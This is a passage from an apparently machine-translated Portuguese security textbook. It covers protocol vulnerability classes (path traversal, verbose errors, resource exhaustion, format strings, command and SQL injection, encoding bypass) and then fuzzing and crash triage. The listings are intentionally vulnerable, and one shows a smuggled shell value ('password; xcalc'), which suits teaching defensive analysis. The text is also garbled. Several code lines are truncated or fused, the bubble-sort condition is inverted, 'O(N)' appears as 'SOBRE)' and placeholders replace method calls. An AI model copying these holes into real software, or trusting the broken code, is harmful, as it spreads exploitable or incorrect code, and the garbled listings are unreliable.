recursos e diretórios, ele normalmente é chamado de caminho.
Os sistemas operacionais geralmente definem a maneira de
especificar informações de caminho relativo usando dois
pontos (..) para indicar uma relação de diretório pai. Antes que
um arquivo possa ser acessado, o sistema operacional deve
encontrá-lo usando essas informações de caminho relativo. Um
protocolo de arquivo remoto muito ingênuo poderia pegar um
caminho fornecido por um usuário remoto, concatená-lo com
um diretório base e passar isso diretamente para o sistema
operacional, como mostrado na Listagem 9-8. Isso é conhecido
como uma vulnerabilidade de canonicalização.

def send_file_to_client()
➊ string name = read_string();
// Concatena o nome do cliente com o caminho base
➋ string fullPath = "/files" + name;

➌ int fd = open(fullPath, READONLY);

// Lê o arquivo para a memória


➍ byte data[] read_to_end(fd);

// Envia para o cliente


➎ write_bytes(data, len(data));

Listagem 9-8: Uma vulnerabilidade de canonicalização de


caminho

Esta listagem lê uma string da rede que representa o nome do


arquivo a ser acessado ➊. Essa string é então concatenada com
um caminho base fixo no caminho completo ➋ para permitir o
acesso apenas a uma área limitada do sistema de arquivos. O
arquivo é então aberto pelo sistema operacional ➌ e, se o
caminho contiver componentes relativos, eles são resolvidos.
Finalmente, o arquivo é lido para a memória ➍ e retornado ao
cliente ➎.
Se você encontrar um código que execute essa mesma
sequência de operações, terá identificado uma vulnerabilidade
de canonicalização. Um atacante poderia enviar um caminho
relativo que é resolvido pelo sistema operacional para um
arquivo fora do diretório base, resultando na divulgação de
arquivos confidenciais, como mostrado na Figura 9-4.

Mesmo que um aplicativo verifique o caminho antes de enviá-lo


ao sistema operacional, ele deve corresponder corretamente à
forma como o sistema operacional interpreta a string. Por
exemplo, no Microsoft Windows, barras invertidas (\) e barras
normais (/) são aceitas como separadores de caminho. Se um
aplicativo verificar apenas barras invertidas, o padrão do
Windows, ainda poderá haver uma vulnerabilidade.
Figura 9-4: Uma operação de canonicalização de caminho
normal versus uma operação vulnerável.
Embora a capacidade de baixar arquivos de um sistema possa
ser suficiente para comprometê-lo, um problema mais sério
surge se a vulnerabilidade de canonicalização ocorrer nos
protocolos de upload de arquivos. Se for possível enviar
arquivos para o sistema que hospeda a aplicação e especificar
um caminho arbitrário, torna-se muito mais fácil comprometer
o sistema. Por exemplo, seria possível enviar scripts ou outros
conteúdos executáveis para o sistema e fazer com que ele os
executasse, resultando em execução remota de código.

Erros verbosos

Se, ao tentar recuperar um recurso, este não for encontrado, o


aplicativo normalmente retorna alguma informação de erro.
Esse erro pode ser tão simples quanto um código de erro ou
uma descrição completa do que não existe; no entanto, não
deve revelar mais informações do que o necessário. Claro que
isso nem sempre acontece.

Se um aplicativo retornar uma mensagem de erro ao solicitar


um recurso que não existe e inserir informações locais sobre o
recurso acessado no erro, uma vulnerabilidade simples estará
presente. Se um arquivo estivesse sendo acessado, o erro
poderia conter o caminho local para o arquivo que foi passado
para o sistema operacional: essa informação pode ser útil para
alguém que tente obter acesso adicional ao sistema hospedeiro,
como mostrado na Listagem 9-9.

def send_file_to_client_with_error()

➊ string name = read_string();

// Concatena o nome do cliente com o caminho base


➋ string fullPath = "/files" + name;

➌ if(!exist(fullPath))

➍ write_error("O arquivo " + fullPath + " não existe"

else

➎ write_file_to_client(fullPath);

Listagem 9-9: Divulgação de informações sobre mensagens de


erro

Este exemplo ilustra uma mensagem de erro simples retornada


a um cliente quando um arquivo solicitado não existe. Em ➊, lê-
se da rede uma string que representa o nome do arquivo a ser
acessado. Essa string é então concatenada com um caminho
base fixo, resultando no caminho completo em ➋. A existência
do arquivo é verificada junto ao sistema operacional em ➌. Se o
arquivo não existir, o caminho completo do arquivo é
adicionado a uma string de erro e retornado ao cliente ➍; caso
contrário, os dados são retornados ➎.

A listagem é vulnerável à divulgação da localização do caminho


base no sistema de arquivos local. Além disso, o caminho
poderia ser usado com outras vulnerabilidades para obter mais
acesso ao sistema. Também poderia revelar o usuário atual que
está executando o aplicativo se, por exemplo, o diretório de
recursos estivesse no diretório pessoal do usuário.

Ataques de exaustão de memória

Os recursos do sistema no qual um aplicativo é executado são


finitos: espaço em disco, memória e poder de processamento
disponíveis têm limites. Quando um recurso crítico do sistema
se esgota, o sistema pode começar a apresentar falhas
inesperadas, como, por exemplo, deixar de responder a novas
conexões de rede.
Quando a memória dinâmica é usada para processar um
protocolo, o risco de alocação excessiva de memória ou de
esquecimento de liberar os blocos alocados sempre existe,
resultando em esgotamento de memória. A maneira mais
simples pela qual um protocolo pode ser suscetível a uma
vulnerabilidade de esgotamento de memória é se ele alocar
memória dinamicamente com base em um valor absoluto
transmitido no protocolo. Por exemplo, considere a Listagem 9-
10.

def read_buffer()

byte buf[];
uint32 len;
int i = 0;

// Lê o número de bytes da rede


➊ len = read_uint32();

// Aloca memória buffer


➋ buf = malloc(len);

// Aloca bytes da rede


➌ read_bytes(buf, printf("Lidos %d bytes\n", len);

printf("Lidos %d bytes\n", len);

Listagem 9-10: Um ataque de exaustão de memória

Este trecho de código lê um buffer de tamanho variável do


protocolo. Primeiro, lê o tamanho em bytes ➊ como um inteiro
sem sinal de 32 bits. Em seguida, tenta alocar um buffer desse
tamanho antes de lê-lo da rede ➋. Finalmente, lê os dados da
rede ➌. O problema é que um atacante poderia facilmente
especificar um tamanho muito grande, digamos 2 gigabytes,
que, quando alocado, bloquearia uma grande região da
memória à qual nenhuma outra parte da aplicação poderia
acessar. O atacante poderia então enviar dados lentamente
para o servidor (para tentar impedir que a conexão seja
fechada devido a um tempo limite) e, repetindo isso várias
vezes, eventualmente esgotar a memória do sistema.

A maioria dos sistemas não alocaria memória física até que ela
fosse utilizada, limitando assim o impacto geral no sistema
como um todo. No entanto, esse ataque seria mais grave em
sistemas embarcados dedicados, onde a memória é um recurso
escasso e a memória virtual é inexistente.
Ataques de esgotamento de armazenamento

Ataques de esgotamento de armazenamento são menos


prováveis com os discos rígidos de vários terabytes atuais, mas
ainda podem representar um problema para sistemas
embarcados mais compactos ou dispositivos sem
armazenamento. Se um invasor conseguir esgotar a capacidade
de armazenamento de um sistema, o aplicativo ou outros
componentes desse sistema podem começar a apresentar
falhas. Tal ataque pode até impedir a reinicialização do sistema.
Por exemplo, se um sistema operacional precisar gravar
determinados arquivos no disco antes de iniciar, mas não
conseguir, pode ocorrer uma condição permanente de negação
de serviço.

A causa mais comum desse tipo de vulnerabilidade reside no


registro de informações operacionais em disco. Por exemplo, se
o registro for muito detalhado, gerando algumas centenas de
kilobytes de dados por conexão, e o tamanho máximo do
registro não tiver restrições, seria relativamente simples
inundar o armazenamento fazendo conexões repetidas a um
serviço. Tal ataque pode ser particularmente eficaz se um
aplicativo registrar dados enviados remotamente e suportar
dados compactados. Nesse caso, um invasor poderia usar muito
pouca largura de banda de rede para causar o registro de uma
grande quantidade de dados.

Ataques de exaustão da CPU

Embora os smartphones atuais possuam múltiplos


processadores (CPUs), estes só conseguem executar um número
limitado de tarefas simultaneamente. É possível provocar uma
condição de negação de serviço (DoS) se um atacante conseguir
consumir recursos da CPU com o mínimo esforço e largura de
banda. Embora isso possa ser feito de diversas maneiras,
abordarei apenas duas: explorando a complexidade algorítmica
e identificando parâmetros externos controláveis em sistemas
criptográficos.

Complexidade Algorítmica

Todos os algoritmos de computador têm um custo


computacional associado, que representa a quantidade de
trabalho necessária para que uma determinada entrada
produza a saída desejada. Quanto mais trabalho um algoritmo
exige, mais tempo ele precisa do processador do sistema. Em
um mundo ideal, um algoritmo deveria levar uma quantidade
constante de tempo, independentemente da entrada recebida.
Mas isso raramente acontece.
Alguns algoritmos tornam-se particularmente dispendiosos à
medida que o número de parâmetros de entrada aumenta. Por
exemplo, considere o algoritmo de ordenação Bubble Sort. Este
algoritmo inspeciona cada par de valores em um buffer e os
troca se o valor da esquerda do par for maior que o da direita.
Isso tem o efeito de empurrar os valores mais altos para o final
do buffer até que todo o buffer esteja ordenado. A Listagem 9-
11 mostra uma implementação simples.

def bubble_sort(int[] buf)

do

bool swapped = false;


int N = len(buf);
for(int i = 1; i < N - 1; ++i)

if(buf[i-1] > buf[i])

// Trocar valores
swap( buf[i-1], buf[i] );
swapped = true;
while(swapped == false);

Listagem 9-11: Uma implementação simples do algoritmo de


ordenação por bolha.

A quantidade de trabalho exigida por este algoritmo é


proporcional ao número de elementos (vamos chamar esse
número de N) no buffer que precisa ser ordenado. No melhor
caso, isso requer uma única passagem pelo buffer, exigindo N
iterações, o que ocorre quando todos os elementos já estão
ordenados. No pior caso, quando o buffer está ordenado em
ordem inversa, o algoritmo precisa repetir o processo de
ordenação N vezes. Se um atacante pudesse especificar um
grande número de valores ordenados em ordem inversa, o
custo computacional dessa ordenação se tornaria significativo.
Como resultado, a ordenação poderia consumir 100% do tempo
de processamento da CPU e levar a uma negação de serviço.

Em um exemplo prático disso, descobriu-se que alguns


ambientes de programação, incluindo PHP e Java, utilizavam
um algoritmo para implementações de tabelas hash que, no
pior caso, exigia N operações. Uma tabela hash é uma estrutura
de dados que armazena valores indexados por outro valor,
como um nome textual. As chaves são inicialmente
transformadas em hash usando um algoritmo simples, que
então determina um bucket (ou "bucket") no qual o valor será
inserido. O algoritmo N é utilizado ao inserir o novo valor no
bucket; idealmente, deveria haver poucas colisões entre os
valores de hash das chaves, de modo que o tamanho do bucket
seja pequeno. No entanto, ao criar um conjunto de chaves com
o mesmo hash (mas, crucialmente, com valores de chave
diferentes), um atacante poderia causar uma condição de
negação de serviço em um serviço de rede (como um servidor
web) enviando apenas algumas requisições.

NOTAÇÃO BIG-O

A notação Big-O, uma representação comum da complexidade


computacional, representa o limite superior da complexidade
de um algoritmo. A Tabela 9-1 lista algumas notações Big-O
comuns para vários algoritmos, do menos ao mais complexo.

Tabela 9-1: Notação Big-O para a complexidade do algoritmo no


pior caso
Notação Descrição

O(1) Tempo constante; o algoritmo sempre leva a


mesma quantidade de tempo.

O(log N) Logarítmico; o pior caso é proporcional ao


logaritmo do número de entradas.

SOBRE) Tempo linear; o pior caso é proporcional ao


número de entradas.

O(N 2) Quadrática; o pior caso é proporcional ao


quadrado do número de entradas.

O(2N) Exponencial; o pior caso é proporcional a 2


elevado à potência N.

Tenha em mente que esses são valores de pior caso que não
representam necessariamente a complexidade do mundo real.
Dito isso, com conhecimento de um algoritmo específico, como
o Bubble Sort, há uma boa chance de que um atacante possa
acionar intencionalmente o pior caso.
Criptografia Configurável

O processamento de primitivas criptográficas, como algoritmos


de hash, também pode gerar uma carga computacional
significativa, especialmente ao lidar com credenciais de
autenticação. A regra em segurança da computação é que as
senhas devem sempre ser criptografadas usando um algoritmo
de hash antes de serem armazenadas. Isso converte a senha em
um valor de hash, que é praticamente impossível de reverter
para a senha original. Mesmo que o hash fosse revelado, seria
difícil obter a senha original. Mas alguém ainda poderia
adivinhar a senha e gerar o hash. Se a senha adivinhada
corresponder ao hash gerado, então a senha original foi
descoberta. Para mitigar esse problema, é comum executar a
operação de hash várias vezes para aumentar a exigência
computacional do atacante. Infelizmente, esse processo
também aumenta o custo computacional da aplicação, o que
pode ser um problema em caso de ataque de negação de serviço
(DoS).

Uma vulnerabilidade pode ocorrer se o algoritmo de hash levar


um tempo exponencial (com base no tamanho da entrada) ou se
o número de iterações do algoritmo puder ser especificado
externamente. A relação entre o tempo necessário para a
maioria dos algoritmos criptográficos e uma determinada
entrada é bastante linear. No entanto, se for possível especificar
o número de iterações do algoritmo sem um limite superior
razoável, o processamento poderá levar o tempo que o atacante
desejar. Um exemplo dessa vulnerabilidade é mostrado na
Listagem 9-12.

def process_authentication()

➊ string username = read_string();


string password = read_string();
➋ int iterations = read_int();

for(int i = 0; i < iterations; ++i)

➌ password = hash_password(password);

➍ return check_user_password(username, password);

Listagem 9-12: Verificando uma autenticação vulnerável

Primeiro, o nome de usuário e a senha são lidos da rede ➊. Em


seguida, o número de iterações do algoritmo de hash é lido ➋ e
o processo de hash é aplicado esse número de vezes ➌.
Finalmente, a senha criptografada é comparada com uma
senha armazenada pelo aplicativo ➍. Claramente, um atacante
poderia fornecer um valor muito grande para a contagem de
iterações, o que provavelmente consumiria uma quantidade
significativa de recursos da CPU por um longo período,
especialmente se o algoritmo de hash for computacionalmente
complexo.

Um bom exemplo de algoritmo criptográfico que um cliente


pode configurar é o gerenciamento de chaves
públicas/privadas. Algoritmos como o RSA dependem do custo
computacional da fatoração de um valor de chave pública
grande. Quanto maior o valor da chave, mais tempo leva para
realizar a criptografia/descriptografia e mais tempo leva para
gerar um novo par de chaves.

Vulnerabilidades de formatação de strings

A maioria das linguagens de programação possui um


mecanismo para converter dados arbitrários em uma string, e é
comum definir algum mecanismo de formatação para
especificar como o desenvolvedor deseja a saída. Alguns desses
mecanismos são bastante poderosos e privilegiados,
especialmente em linguagens que não são seguras em relação à
memória.
Uma vulnerabilidade de string de formatação ocorre quando o
atacante consegue fornecer um valor de string para um
aplicativo, que é então usado diretamente como string de
formatação. O formatador mais conhecido, e provavelmente o
mais perigoso, é usado pela função `printf` da linguagem C e
suas variantes, como `sprintf`, que imprimem em uma string.
A função `printf` recebe uma string de formatação como
primeiro argumento e, em seguida, uma lista dos valores a
serem formatados. O exemplo 9-13 mostra um aplicativo
vulnerável.

def process_authentication()

string username = read_string();


string password = read_string();

// Imprime o nome de usuário e a senha no terminal


printf(username);
printf(password);

return check_user_password(username, password))

Listagem 9-13: A vulnerabilidade da string de formatação printf


A string de formato para printf especifica a posição e o tipo de
dados usando a sintaxe %?, onde o ponto de interrogação é
substituído por um caractere alfanumérico. O especificador de
formato também pode incluir informações de formatação,
como o número de casas decimais em um número. Um atacante
que consiga controlar diretamente a string de formato pode
corromper a memória ou revelar informações sobre a pilha
atual que podem ser úteis para ataques subsequentes. A Tabela
9-2 mostra uma lista de especificadores de formato printf
comuns que um atacante poderia explorar.

Tabela 9-2: Lista de especificadores de formato printf


comumente exploráveis

Especificador Descrição Vulnerabilidades


de formato potenciais

%d, %p, %u, Imprime Pode ser usado para


%x números revelar informações
inteiros da pilha se retornado a
um atacante.

%s Imprime uma Pode ser usado para


string revelar informações
Especificador Descrição Vulnerabilidades
de formato potenciais

terminada em da pilha de chamadas


zero. se retornado a um
atacante ou causar
acessos inválidos à
memória, levando a
uma negação de
serviço.

%n Escreve o Pode ser usado para


número atual causar corrupção
de caracteres seletiva de memória
impressos em ou falhas de
um ponteiro aplicativos.
especificado
nos
argumentos.

Injeção de comando

A maioria dos sistemas operacionais, especialmente os


baseados em Unix, inclui um conjunto abrangente de utilitários
projetados para diversas tarefas. Às vezes, os desenvolvedores
decidem que a maneira mais fácil de executar uma tarefa
específica, como atualizar uma senha, é executar um aplicativo
externo ou um utilitário do sistema operacional. Embora isso
possa não ser um problema se a linha de comando executada
for totalmente especificada pelo desenvolvedor,
frequentemente alguns dados do cliente de rede são inseridos
na linha de comando para realizar a operação desejada. O
exemplo 9-14 mostra um aplicativo vulnerável desse tipo.

def update_password(string username)

➊ string oldpassword = read_string();


string newpassword = read_string();

if(check_user_password(username, oldpassword))

// Invocar o comando update_password


➋ system("/sbin/update_password -u " + username + " -

Listagem 9-14: Uma atualização de senha vulnerável à injeção


de comandos.
O código atualiza a senha do usuário atual, desde que a senha
original seja conhecida ➊. Em seguida, constrói uma linha de
comando e invoca a função de sistema no estilo Unix ➋. Embora
não controlemos os parâmetros `username` ou `oldpassword`
(eles devem estar corretos para que a chamada de sistema seja
feita), temos controle total sobre `newpassword`. Como
nenhuma sanitização é feita, o código no exemplo é vulnerável
a injeção de comando, pois a função de sistema usa o shell Unix
atual para executar a linha de comando. Por exemplo,
poderíamos especificar um valor para `newpassword` como
`password; xcalc`, que primeiro executaria o comando de
atualização de senha. Em seguida, o shell poderia executar
`xcalc`, já que trata o ponto e vírgula como um separador em
uma lista de comandos a serem executados.

Injeção de SQL

Até mesmo a aplicação mais simples pode precisar armazenar e


recuperar dados de forma persistente. As aplicações podem
fazer isso de diversas maneiras, mas uma das mais comuns é
usar um banco de dados relacional. Os bancos de dados
oferecem muitas vantagens, entre as quais a capacidade de
executar consultas nos dados para realizar agrupamentos e
análises complexas.
O padrão de facto para definir consultas em bancos de dados
relacionais é a Linguagem de Consulta Estruturada (SQL). Essa
linguagem baseada em texto define quais tabelas de dados ler e
como filtrar esses dados para obter os resultados desejados pela
aplicação. Ao usar uma linguagem baseada em texto, existe a
tentação de construir consultas usando operações com strings.
No entanto, isso pode facilmente resultar em uma
vulnerabilidade como injeção de comando: em vez de inserir
dados não confiáveis em uma linha de comando sem o devido
tratamento, o atacante insere dados em uma consulta SQL, que
é executada no banco de dados. Essa técnica pode modificar a
operação da consulta para retornar resultados conhecidos. Por
exemplo, e se a consulta extraísse a senha atual do usuário que
está se autenticando, como mostrado na Listagem 9-15?

def process_authentication()

➊ string username = read_string();


string password = read_string();

➋ string sql = "SELECT password FROM user_table WHERE


➌ return run_query(sql) == password;

Listagem 9-15: Um exemplo de autenticação vulnerável a


injeção de SQL.

Esta listagem lê o nome de usuário e a senha da rede ➊. Em


seguida, constrói uma nova consulta SQL como uma string,
usando uma instrução SELECT para extrair a senha associada
ao usuário da tabela de usuários ➋. Finalmente, executa essa
consulta no banco de dados e verifica se a senha lida da rede
corresponde à senha no banco de dados ➌.

A vulnerabilidade descrita neste anúncio é fácil de explorar. Em


SQL, as strings precisam ser delimitadas por aspas simples para
evitar que sejam interpretadas como comandos na instrução
SQL. Se um nome de usuário for enviado no protocolo com uma
aspa simples inserida, um atacante poderia interromper a
string entre aspas prematuramente. Isso levaria à injeção de
novos comandos na consulta SQL. Por exemplo, uma instrução
UNION SELECT permitiria que a consulta retornasse um valor
de senha arbitrário. Um atacante poderia usar a injeção de SQL
para burlar a autenticação de um aplicativo.
Ataques de injeção de SQL podem até resultar em execução
remota de código. Por exemplo, embora desabilitada por
padrão, a função `xp_cmdshell` do banco de dados SQL Server
da Microsoft permite a execução de comandos do sistema
operacional. O banco de dados Oracle permite até mesmo o
upload de código Java arbitrário. E, claro, também é possível
encontrar aplicativos que enviam consultas SQL brutas pela
rede. Mesmo que um protocolo não seja projetado para
controlar o banco de dados, ainda existe uma boa chance de
que ele possa ser explorado para acessar o mecanismo de banco
de dados subjacente.

Substituição de caracteres de codificação de texto

Num mundo ideal, todos poderiam usar um único tipo de


codificação de texto para todos os idiomas. Mas não vivemos
num mundo ideal e usamos várias codificações de texto, como
discutido no Capítulo 3, como ASCII e variantes do Unicode.

Algumas conversões entre codificações de texto não podem ser


revertidas: a conversão de uma codificação para outra resulta
na perda de informações importantes, de modo que, se o
processo inverso for aplicado, o texto original não poderá ser
restaurado. Isso é especialmente problemático ao converter de
um conjunto de caracteres amplo, como o Unicode, para um
conjunto restrito, como o ASCII. É simplesmente impossível
codificar todo o conjunto de caracteres Unicode em 7 bits.

As conversões de codificação de texto resolvem esse problema


de duas maneiras. A abordagem mais simples substitui o
caractere que não pode ser representado por um marcador,
como o ponto de interrogação (?). Isso pode ser um problema se
o valor dos dados se referir a algo em que o ponto de
interrogação é usado como delimitador ou como um caractere
especial, por exemplo, na análise de URLs, onde representa o
início de uma string de consulta.

Outra abordagem é aplicar um mapeamento de melhor ajuste.


Isso é usado para caracteres que possuem um caractere similar
na nova codificação. Por exemplo, os caracteres de aspas em
Unicode têm formas voltadas para a esquerda e para a direita
que são mapeadas para pontos de código específicos, como
U+201C e U+201D para aspas duplas à esquerda e à direita,
respectivamente. Esses pontos estão fora do intervalo ASCII,
mas em uma conversão para ASCII, eles são comumente
substituídos pelo caractere equivalente, como U+0022 ou a aspa
simples. O mapeamento de melhor ajuste pode se tornar um
problema quando o texto convertido é processado pelo
aplicativo. Embora um texto ligeiramente corrompido
geralmente não cause muitos problemas para o usuário, o
processo de conversão automática pode fazer com que o
aplicativo manipule os dados incorretamente.

A questão importante de implementação é que o aplicativo


primeiro verifica a condição de segurança usando uma forma
codificada de uma string. Em seguida, ele usa a outra forma
codificada de uma string para uma ação específica, como ler
um recurso ou executar um comando, conforme mostrado na
Listagem 9-16.

def add_user()

➊ string username = read_unicode_string();

// Garantir que o nome de usuário não contenha aspas


➋ if([Link]("'") == false)

// Adicionar usuário, é necessário converter para ASC


➌ system("/sbin/add_user '" + [Link]() + "

Listagem 9-16: Uma vulnerabilidade de conversão de texto


Neste exemplo, o aplicativo lê uma string Unicode
representando um usuário a ser adicionado ao sistema ➊. Ele
passará o valor para o comando add_user, mas deseja evitar
uma vulnerabilidade de injeção de comando; portanto,
primeiro garante que o nome de usuário não contenha nenhum
caractere de aspas simples que possa ser interpretado
incorretamente ➋. Uma vez que a string esteja correta, ela a
converte para ASCII (sistemas Unix normalmente trabalham
com um conjunto de caracteres restrito, embora muitos
suportem UTF-8) e garante que o valor esteja entre aspas
simples para evitar que espaços sejam interpretados
incorretamente ➌.

É claro que, se as regras de mapeamento de melhor ajuste


converterem outros caracteres de volta para aspas simples,
seria possível encerrar prematuramente a string entre aspas e
retornar ao mesmo tipo de vulnerabilidades de injeção de
comando discutidas anteriormente.

Palavras finais

Este capítulo mostrou que existem muitas causas possíveis para


vulnerabilidades, com um número aparentemente ilimitado de
variantes em circulação. Mesmo que algo não pareça
vulnerável à primeira vista, persista. Vulnerabilidades podem
surgir nos lugares mais inesperados.

Já abordei vulnerabilidades que vão desde corrupção de


memória, fazendo com que um aplicativo se comporte de
maneira diferente da projetada originalmente, até impedir que
usuários legítimos acessem os serviços oferecidos. Identificar
todos esses problemas diferentes pode ser um processo
complexo.

Como analista de protocolos, você tem diversas perspectivas. É


fundamental também adaptar sua estratégia ao buscar
vulnerabilidades de implementação. Leve em consideração se a
aplicação foi escrita em linguagens seguras ou inseguras em
relação à memória, lembrando que é menos provável encontrar
corrupção de memória, por exemplo, em uma aplicação Java.
10
ENCONTRANDO E EXPLORANDO
VULNERABILIDADES DE SEGURANÇA

Analisar a estrutura de um protocolo de rede complexo pode


ser complicado, especialmente se o analisador de protocolo for
escrito em uma linguagem de programação insegura em
relação à memória, como C/C++. Qualquer erro pode levar a
uma vulnerabilidade grave, e a complexidade do protocolo
dificulta a análise de tais vulnerabilidades. Capturar todas as
interações possíveis entre os dados do protocolo recebidos e o
código do aplicativo que os processa pode ser uma tarefa
impossível.

Este capítulo explora algumas maneiras de identificar


vulnerabilidades de segurança em um protocolo, manipulando
o tráfego de rede que entra e sai de uma aplicação. Abordarei
técnicas como fuzzing e depuração, que permitem automatizar
o processo de descoberta de problemas de segurança. Também
apresentarei um guia rápido sobre triagem de falhas para
determinar sua causa raiz e sua possibilidade de exploração.
Por fim, discutirei a exploração de vulnerabilidades de
segurança comuns, o que as plataformas modernas fazem para
mitigar a exploração e maneiras de contornar essas medidas de
mitigação.

Teste de Fuzzing

Qualquer desenvolvedor de software sabe que testar o código é


essencial para garantir que o software funcione corretamente.
Os testes são especialmente importantes quando se trata de
segurança. Vulnerabilidades existem quando o comportamento
de um aplicativo de software difere de sua intenção original.
Em teoria, um bom conjunto de testes garante que isso não
aconteça. No entanto, ao trabalhar com protocolos de rede, é
provável que você não tenha acesso a nenhum dos testes do
aplicativo, especialmente em aplicativos proprietários.
Felizmente, você pode criar seus próprios testes.

O teste de fuzzing, também conhecido como fuzzing, é uma


técnica que consiste em inserir dados aleatórios, e às vezes não
tão aleatórios, em um protocolo de rede para forçar a falha do
aplicativo que o processa, a fim de identificar vulnerabilidades.
Essa técnica tende a apresentar resultados independentemente
da complexidade da rede. O teste de fuzzing envolve a criação
de múltiplos casos de teste, essencialmente estruturas de
protocolo de rede modificadas, que são então enviadas a um
aplicativo para processamento. Esses casos de teste podem ser
gerados automaticamente usando modificações aleatórias ou
sob a direção do analista.

O teste de desfoque mais simples

Desenvolver um conjunto de testes de fuzzing para um


protocolo específico não é necessariamente uma tarefa
complexa. Em sua forma mais simples, um teste de fuzzing
pode simplesmente enviar dados aleatórios para o ponto de
extremidade da rede e observar o que acontece.

Para este exemplo, usaremos um sistema do tipo Unix e a


ferramenta Netcat. Execute o seguinte comando em um
terminal para gerar um fuzzer simples:

$ cat /dev/urandom | nc hostname port

Este comando de linha única lê dados do dispositivo gerador de


números aleatórios do sistema usando o comando `cat`. Os
dados aleatórios resultantes são enviados para o `netcat`, que
abre uma conexão com o endpoint especificado, conforme
instruído.

Este fuzzer simples provavelmente só causará falhas em


protocolos simples com poucos requisitos. É improvável que a
geração aleatória simples crie dados que atendam aos
requisitos de um protocolo mais complexo, como checksums
válidos ou valores mágicos. Dito isso, você se surpreenderia
com a frequência com que um teste de fuzzing simples pode
fornecer resultados valiosos; como é tão rápido de fazer, vale a
pena tentar. Só não use este fuzzer em um sistema de controle
industrial em funcionamento que gerencie um reator nuclear!

Fuzzer de Mutação

Frequentemente, você precisará ser mais seletivo quanto aos


dados que envia para uma conexão de rede para obter as
informações mais úteis. A técnica mais simples nesse caso é
usar dados de protocolo existentes, modificá-los de alguma
forma e, em seguida, enviá-los para o aplicativo receptor. Esse
fuzzer de mutação pode funcionar surpreendentemente bem.

Vamos começar com o fuzzer de mutação mais simples possível:


um inversor de bits aleatório. A Listagem 10-1 mostra uma
implementação básica desse tipo de fuzzer.

void SimpleFuzzer(const char* data, size_t length)


size_t position = RandomInt(length);
size_t bit = RandomInt(8);
char* copy = CopyData(data, length);
copy[position] ^= (1 << bit);
SendData(copy, length);

Listagem 10-1: Um fuzzer de mutação de inversão de bits


aleatório simples

A função SimpleFuzzer() recebe os dados a serem alterados e o


comprimento dos dados, e então gera um número aleatório
entre 0 e o comprimento dos dados como o byte dos dados a ser
modificado. Em seguida, ela decide qual bit desse byte deve ser
alterado, gerando um número entre 0 e 7. Então, ela inverte o
bit usando a operação XOR e envia os dados modificados para o
seu destino na rede.

Essa função entra em ação quando, por acaso, o fuzzer modifica


um campo no protocolo que é então usado incorretamente pela
aplicação. Por exemplo, seu fuzzer pode modificar um campo
de comprimento definido como 0x40, convertendo-o para um
campo de comprimento 0x8000040. Essa modificação pode
resultar em um estouro de inteiro se a aplicação multiplicar o
valor por 4 (para uma matriz de valores de 32 bits, por
exemplo). Essa modificação também pode causar a
malformação dos dados, o que confundiria o código de análise
sintática e introduziria outros tipos de vulnerabilidades, como
um identificador de comando inválido que resulta no acesso do
analisador sintático a um local incorreto na memória.

Você pode alterar mais de um bit nos dados por vez. No entanto,
ao alterar bits individuais, é mais provável que o efeito da
alteração fique restrito a uma área semelhante do código do
aplicativo. Alterar um byte inteiro pode resultar em muitos
efeitos diferentes, especialmente se o valor for usado para um
conjunto de flags.

Você também precisará recalcular quaisquer checksums ou


campos críticos, como valores de comprimento total, após a
fuzzificação dos dados. Caso contrário, a análise dos dados
resultante poderá falhar em uma etapa de verificação, antes
mesmo de chegar à área do código do aplicativo que processa o
valor alterado.

Geração de casos de teste

Ao realizar fuzzing mais complexo, você precisará ser mais


estratégico com suas modificações e compreender o protocolo
para atingir tipos de dados específicos. Quanto mais dados
forem passados para um aplicativo para análise, mais complexo
ele será. Em muitos casos, verificações inadequadas são feitas
em casos extremos de valores do protocolo, como valores de
comprimento; então, se já soubermos como o protocolo está
estruturado, podemos gerar nossos próprios casos de teste do
zero.

Gerar nossos próprios casos de teste nos dá controle preciso


sobre os campos do protocolo usados e seus tamanhos. No
entanto, os casos de teste são mais complexos de desenvolver e
exigem uma análise cuidadosa dos tipos que você deseja gerar.
Gerar casos de teste permite testar tipos de valores de protocolo
que podem nunca ser usados quando você captura o tráfego
para mutação. Mas a vantagem é que você exercitará mais o
código do aplicativo e acessará áreas do código que
provavelmente são menos testadas.

Triagem de Vulnerabilidades

Depois de executar um fuzzer em um protocolo de rede e o


aplicativo de processamento travar, você quase certamente
encontrou um bug. O próximo passo é descobrir se esse bug é
uma vulnerabilidade e qual o tipo de vulnerabilidade, o que
depende de como e por que o aplicativo travou. Para fazer essa
análise, usamos a triagem de vulnerabilidades: uma série de
etapas para buscar a causa raiz de uma falha. Às vezes, a causa
do bug é clara e fácil de rastrear. Outras vezes, uma
vulnerabilidade causa a corrupção de um aplicativo segundos,
ou até horas, após a ocorrência da corrupção. Esta seção
descreve maneiras de triar vulnerabilidades e aumentar suas
chances de encontrar a causa raiz de uma falha específica.

Depuração de Aplicativos

Diferentes plataformas permitem diferentes níveis de controle


sobre a triagem de erros. Para um aplicativo em execução no
Windows, macOS ou Linux, você pode anexar um depurador ao
processo. Mas em um sistema embarcado, você pode ter apenas
os relatórios de falhas no log do sistema como referência. Para
depuração, eu uso o CDB no Windows, o GDB no Linux e o LLDB
no macOS. Todos esses depuradores são usados a partir da linha
de comando, e vou fornecer alguns dos comandos mais úteis
para depurar seus processos.

Iniciando a depuração

Para iniciar a depuração, primeiro você precisa conectar o


depurador ao aplicativo que deseja depurar. Você pode
executar o aplicativo diretamente no depurador a partir da
linha de comando ou conectar o depurador a um processo já
em execução com base em seu ID de processo. A Tabela 10-1
mostra os vários comandos necessários para executar os três
depuradores.

Tabela 10-1: Comandos para executar depuradores no


Windows, Linux e macOS

Depurador Novo processo Processo de


anexação

CDB cdb [Link] cdb -p PID


[argumentos]

GDB gdb --args aplicação gdb -p PID


[argumentos]

LLDB lldb -- aplicação lldb -p -PID


[argumentos]

Como o depurador suspenderá a execução do processo após a


sua criação ou conexão, será necessário executar o processo
novamente. Você pode usar os comandos da Tabela 10-2 no
shell do depurador para iniciar ou retomar a execução do
processo, caso esteja conectado. A tabela fornece alguns nomes
simples para esses comandos, separados por vírgulas quando
necessário.

Tabela 10-2: Comandos simplificados de execução de aplicativos

Depurador Iniciar execução Executar o plano de


retomada

CDB g g

GDB correr, r continue, c

LLDB iniciar processo, continuação do


executar, r tópico, c

Quando um novo processo cria um processo filho, pode ser o


processo filho que falha, em vez do processo que você está
depurando. Isso é especialmente comum em plataformas do
tipo Unix, porque alguns servidores de rede criam um processo
filho para lidar com a nova conexão, criando uma cópia do
processo. Nesses casos, você precisa garantir que consegue
acompanhar o processo filho, e não o processo pai. Você pode
usar os comandos da Tabela 10-3 para depurar os processos
filhos.

